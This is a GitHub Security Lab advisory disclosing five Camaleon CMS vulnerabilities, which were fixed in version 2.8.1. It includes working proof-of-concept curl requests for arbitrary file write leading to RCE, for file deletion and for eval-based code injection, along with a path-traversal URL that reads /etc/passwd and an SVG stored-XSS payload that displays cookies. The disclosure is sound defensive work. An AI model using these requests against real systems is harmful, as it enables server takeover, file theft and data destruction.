Coordinated Disclosure Timeline
- 2024-08-08: Reported via Email.
- 2024-08-21: Version 2.8.1 with fixes released.
Summary
Several vulnerabilities were found in Camaleon CMS. Three vulnerabilities (GHSL-2024-182
, GHSL-2024-183
, GHSL-2024-184
) can be exploited by “normal” authenticated users. Camaleon CMS instances where self-registration is enabled (e.g. to leave comments on posts) are especially endangered by these vulnerabilities.
Project
Camaleon CMS
Tested Version
Details
Issue 1: Arbitrary file write to RCE (GHSL-2024-182
)
An arbitrary file write vulnerability accessible via the upload
method of the MediaController
allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/
subfolder of the Ruby on Rails application.
Once a user upload is started via the upload
method, the file_upload
and the folder
parameter
def upload(settings = {})
params[:dimension] = nil if params[:skip_auto_crop].present?
f = { error: 'File not found.' }
if params[:file_upload].present?
f = upload_file(params[:file_upload],
{ folder: params[:folder], dimension: params['dimension'], formats: params[:formats], versions: params[:versions],
thumb_size: params[:thumb_size] }.merge(settings))
end
[..]
end
are passed to the upload_file
method. Inside that method the given settings are merged with some presets. The file format is checked against the formats
settings we can override with the formats
parameters.
# formats validations
return { error: "#{ct('file_format_error')} (#{settings[:formats]})" } unless cama_uploader.class.validate_file_format(
uploaded_io.path, settings[:formats]
)
Our given folder is then passed unchecked to the Cama_uploader:
key = File.join(settings[:folder], settings[:filename]).to_s.cama_fix_slash
res = cama_uploader.add_file(settings[:uploaded_io], key, { same_name: settings[:same_name] })
In the add_file
method of CamaleonCmsLocalUploader
this key
argument containing the unchecked path is then used to write the file to the file system:
def add_file(uploaded_io_or_file_path, key, args = {})
[..]
upload_io = uploaded_io_or_file_path.is_a?(String) ? File.open(uploaded_io_or_file_path) : uploaded_io_or_file_path
File.open(File.join(@root_folder, key), 'wb') { |file| file.write(upload_io.read) }
[..]
end
Proof of concept
Precondition: A valid account of a registered user is required. (The values for auth_token
and _cms_session
need to be replaced with authenticated values in the curl
command below)
curl --path-as-is -i -s -k -X $'POST' \
-H $'User-Agent: Mozilla/5.0' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary80dMC9jX3srWAsga' -H $'Accept: */*' -H $'Connection: keep-alive' \
-b $'auth_token=[..]; _cms_session=[..]' \
--data-binary $'------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"file_upload\"; filename=\"test.rb\"\x0d\x0aContent-Type: text/x-ruby-script\x0d\x0a\x0d\x0aputs \"=================================\"\x0aputs \"=================================\"\x0aputs \"= COMPROMISED =\"\x0aputs \"=================================\"\x0aputs \"=================================\"\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"folder\"\x0d\x0a\x0d\x0a../../../config/initializers/\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"skip_auto_crop\"\x0d\x0a\x0d\x0atrue\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga--\x0d\x0a' \
$'https://<camaleon-host>/admin/media/upload?actions=false'
Note that the upload form field formats
was removed so that Camaleon CMS accepts any file. The folder was set to ../../../config/initializers/
so that following Ruby script is written into the initializers
folder of the Rails web app:
puts "================================="
puts "================================="
puts "= COMPROMISED ="
puts "================================="
puts "================================="
Once Camaleon CMS is restarted following output will be visible in the log:
=================================
=================================
= COMPROMISED =
=================================
=================================
Impact
This issue may lead up to Remote Code Execution (RCE) via arbitrary file write.
See also:
Issue 2: Arbitrary path traversal (GHSL-2024-183
)
A path traversal vulnerability accessible via MediaController
’s download_private_file
method allows authenticated users to download any file on the web server Camaleon CMS is running on (depending on the file permissions).
In the download_private_file
method:
def download_private_file
cama_uploader.enable_private_mode!
file = cama_uploader.fetch_file("private/#{params[:file]}")
send_file file, disposition: 'inline'
end
The file
parameter is passed to the fetch_file
method of the CamaleonCmsLocalUploader
class (when files are uploaded locally):
def fetch_file(file_name)
raise ActionController::RoutingError, 'File not found' unless file_exists?(file_name)
file_name
end
If the file exists it’s passed back to the download_private_file
method where the file is sent to the user via send_file
.
Proof of concept
An authenticated user can download the /etc/passwd
file by visiting an URL such as:
https://<camaleon-host>/admin/media/download_private_file?file=../../../../../../etc/passwd
Impact
This issue may lead to Information Disclosure.
See also:
Issue 3: Stored XSS through user file upload (GHSL-2024-184
)
A stored cross-site scripting has been found in the image upload functionality that can be used by normal registered users: It is possible to upload a SVG image containing JavaScript and it’s also possible to upload a HTML document when the format
parameter is manually changed to documents
or a string of an unsupported format. If an authenticated user or administrator visits that uploaded image or document malicious JavaScript can be executed on their behalf (e.g. changing or deleting content inside of the CMS.)
Proof of concept
- Login as normal user (if user signup is enabled).
- Go to the user’s profile.
- And upload following profile picture via drag and drop.
The content of the SVG file could be as follows (e.g. name it test-xss.svg
):
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:cc="http://creativecommons.org/ns#"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:svg="http://www.w3.org/2000/svg"
xmlns="http://www.w3.org/2000/svg"
width="500"
height="500"
viewBox="0 0 198.4375 52.916666"
version="1.1">
<g
transform="translate(-9.8676114,4.8833333)">
<path
d="m 107.79557,-10.430538 -7.33315,-0.02213 -3.647402,-6.361755 3.685742,-6.339624 7.33314,0.02213 3.64741,6.361756 z"
style="fill:#131f6b;fill-opacity:1;stroke-width:0.05937638"
transform="scale(1,-1)" />
<!-- The below lines were added in a text editor to the image XML. This is the stored XSS attack. -->
<script type="text/javascript">
alert("This is an example of a stored XSS attack in an SVG image, here's the cookie: " + document.cookie);
</script>
</g>
</svg>
The server might fail with a 500 internal server error, but the uploaded image should be available at a location like https://<camaleon-host>/media/1/test-xss-cookie.svg
. If an authenticated user or administrator accesses that link their auth_token
is reflected. Since the auth_token
cookie contains a static auth token value that only changes when a user changes their password.
Impact
This issue may lead to account takeover due to reflected Cross-site scripting (XSS).
Issue 4: Remote code execution through code injection (GHSL-2024-185
)
The pages rendering custom fields contain a hidden feature called label evaluation, that can be enabled when creating custom field groups. If an attacker performed an account takeover of an administrator account (See: GHSL-2024-184
) they can execute arbitrary Ruby code on the server hosting Camaleon CMS.
If the (hidden) custom field option label_eval
was set when creating the custom field form, the text of the label is evaluated when it’s rendered:
<%= field.options[:label_eval].present? ? eval(field.name) : field.name %>
[..]
<% if field.description.present? %>
<p><small><%= field.options[:label_eval].present? ? eval(field.description) : field.description %></small></p>
<% end %>
Proof of concept
A sample request that enables label_eval
could look like this. However, custom field IDs would be different. (The values for auth_token
, authenticity_token
and _cms_session
would also need to be replaced with authenticated values in the curl command below)
curl --path-as-is -i -s -k -X $'POST' \
-H $'Content-Type: application/x-www-form-urlencoded' -H $'User-Agent: Mozilla/5.0' -H $'Connection: keep-alive' \
-b $'auth_token=[..]; _cms_session=[..]' \
--data-binary $'_method=patch&authenticity_token=[..]&custom_field_group%5Bname%5D=Test&custom_field_group%5Bis_repeat%5D=0&custom_field_group%5Bdescription%5D=group&custom_field_group%5Bassign_group%5D=User%2C1&custom_field_group%5Bcaption%5D=undefined%3A+&fields%5B12_1722949310_19598%5D%5Bid%5D=12&field_options%5B12_1722949310_19598%5D%5Bfield_key%5D=text_box&field_options%5B12_1722949310_19598%5D%5Blabel_eval%5D=true&field_options%5B12_1722949310_19598%5D%5Bpanel_hidden%5D=&fields%5B12_1722949310_19598%5D%5Bname%5D=puts+%22----eval+in+field1+name%22&fields%5B12_1722949310_19598%5D%5Bslug%5D=untitled-text-box-0&fields%5B12_1722949310_19598%5D%5Bdescription%5D=puts+%22----eval+in+field1+description%22&field_options%5B12_1722949310_19598%5D%5Bdefault_value%5D=&field_options%5B12_1722949310_19598%5D%5Bmultiple%5D=0&field_options%5B12_1722949310_19598%5D%5Brequired%5D=0&field_options%5B12_1722949310_19598%5D%5Btranslate%5D=0' \
$'https://<camaleon-host>/admin/settings/custom_fields/11'
The main part of this proof of concept is that label_eval
is set to true and a field name and description are set to Ruby code (puts "----eval in ..."
):
field_options%5B12_1722949310_19598%5D%5Blabel_eval%5D=true&
fields%5B12_1722949310_19598%5D%5Bname%5D=puts+%22----eval+in+field1+name%22&
fields%5B12_1722949310_19598%5D%5Bdescription%5D=puts+%22----eval+in+field1+description%22&
When the page(s) where this custom fields are rendered are viewed following lines will be written to the standard out of the running Ruby on Rails application:
----eval in field1 name
----eval in field2 description
Impact
This issue may lead to Remote Code Execution (RCE).
Issue 5: Arbitrary file delete (GHSL-2024-186
)
The actions defined inside of the MediaController class do not check whether a given path is inside a certain path (e.g. inside the media folder). If an attacker performed an account takeover of an administrator account (See: GHSL-2024-184
) they could delete arbitrary files or folders on the server hosting Camaleon CMS. The crop_url
action might make arbitrary file writes (similar impact to GHSL-2024-182) for any authenticated user possible, but the underlying feature doesn’t seem to work currently, which prevents its exploitation.
Arbitrary file deletion can be exploited with following code path: The parameter folder
flows from the actions
method:
def actions
authorize! :manage, :media if params[:media_action] != 'crop_url'
params[:folder] = params[:folder].gsub('//', '/') if params[:folder].present?
case params[:media_action]
[..]
when 'del_file'
cama_uploader.delete_file(params[:folder].gsub('//', '/'))
render plain: ''
into the method delete_file
of the CamaleonCmsLocalUploader
class (when files are uploaded locally):
def delete_file(key)
file = File.join(@root_folder, key)
FileUtils.rm(file) if File.exist? file
@instance.hooks_run('after_delete', key)
get_media_collection.find_by_key(key).take.destroy
end
Where it is joined in unchecked manner with the root folder and then deleted.
Proof of concept
The following request would delete the file README.md
in the top folder of the Ruby on Rails application. (The values for auth_token
, X-CSRF-Token
and _cms_session
would also need to be replaced with authenticated values in the curl command below)
curl --path-as-is -i -s -k -X $'POST' \
-H $'X-CSRF-Token: [..]' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' -H $'Connection: keep-alive' \
-b $'auth_token=[..]; _cms_session=[..]' \
--data-binary $'versions=&thumb_size=&formats=&media_formats=&dimension=&private=&folder=..%2F..%2F..%2FREADME.md&media_action=del_file' \
$'https://<camaleon-host>/admin/media/actions?actions=true'
Impact
This issue may lead to a defective CMS or system.
See also:
CVE
- GHSL-2024-182 - CVE-2024-46986
- GHSL-2024-183 - CVE-2024-46987
Credit
These issues were discovered and reported by GHSL team member @p- (Peter Stöckli).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2024-182
, GHSL-2024-183
, GHSL-2024-184
, GHSL-2024-185
, or GHSL-2024-186
in any communication regarding these issues.